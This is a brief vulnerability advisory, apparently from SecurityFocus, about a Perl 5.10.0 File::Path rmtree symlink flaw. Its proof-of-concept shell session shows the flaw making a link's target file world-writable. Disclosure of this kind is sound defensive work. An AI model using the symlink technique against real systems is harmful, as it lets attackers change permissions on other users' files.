source: http://www.securityfocus.com/bid/29902/info

Computers running Perl are prone to a local vulnerability that occurs when handling symbolic links.

Attackers can leverage this issue to change the permissions of arbitrary files.

Perl 5.10.0 is vulnerable; other versions may also be affected.

% touch foo
% ln -s foo bar
% ls -l foo bar
lrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo
-rw-r--r-- 1 example example 0 2008-06-21 09:06 foo
% perl -e 'use File::Path rmtree; rmtree bar'
% ls -l foo bar
ls: cannot access bar: No such file or directory
-rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo